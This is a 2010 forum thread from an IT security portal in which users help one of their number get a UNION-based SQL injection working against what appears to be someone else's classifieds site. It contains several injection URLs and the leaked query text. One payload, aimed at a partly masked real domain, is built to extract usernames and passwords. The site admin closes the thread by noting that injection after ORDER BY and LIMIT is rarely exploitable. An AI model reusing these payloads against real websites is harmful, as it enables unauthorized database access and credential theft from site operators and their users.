Waraxe IT Security Portal
Login or Register
October 21, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 421
Members: 0
Total: 421
Full disclosure
CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS
apis.google.com - Insecure redirect via __lu parameter(exploited in the wild)
Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a
Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
[SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal
[SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files
CVE-2025-59397 - Open Web Analytics SQL Injection
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Defense in depth -- the Microsoft way (part 93): SRP/SAFERwhitelisting goes black on Windows 11
Re: [FD]: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885)
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib
Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A little help
Post new topicReply to topic View previous topic :: View next topic
A little help
PostPosted: Wed Dec 08, 2010 2:26 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi

I have a mysql error with
Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+union+all+select+1,2--+


showing the full request :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 union all select 1,2-- ,20


with the error :
Code:
Incorrect usage of UNION and ORDER BY


But i dont have a clue about how inserting my request after this Order BY and LIMIT...
If someone could help me, it would be great !

Thanks !
View user's profile Send private message
PostPosted: Wed Dec 08, 2010 2:36 pm Reply with quote
pink_spider
Advanced user
Advanced user
Joined: Aug 28, 2010
Posts: 91




test:

Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+and+(1)=(union+(select+1,2))--
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Wed Dec 08, 2010 2:58 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Thanks for your help but it doesnt work.
here is the sql log :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 and (1)=(union (select 1,2))--,20


and then, the error :
Code:
Syntax error near 'and (1)=(union (select 1,2))--,20'
View user's profile Send private message
PostPosted: Fri Dec 10, 2010 3:58 am Reply with quote
Despotic
Active user
Active user
Joined: Nov 17, 2010
Posts: 42




Are you sure there are only 2? (ie 1,2--) There may be more.
take a look at this. It might help.
Code:

http://www.co-p**n.org/egug/rub.php?idr=7+and+1=2+union+all+select+1,2,3,concat(username,char(58),password),5,6,7,8,9+from+editor--&l=a


and drop the "ALL" from your union select statement.
View user's profile Send private message
PostPosted: Mon Dec 13, 2010 9:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Sql injection after ORDER BY and LIMIT is not exploitable in most cases. INSERT INTO may be possible, if "magic_quotes_gpc=off" and FILE privileges are available. PROCEDURE may be useful in some rare cases.
View user's profile Send private message Send e-mail Visit poster's website
A little help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.026 Seconds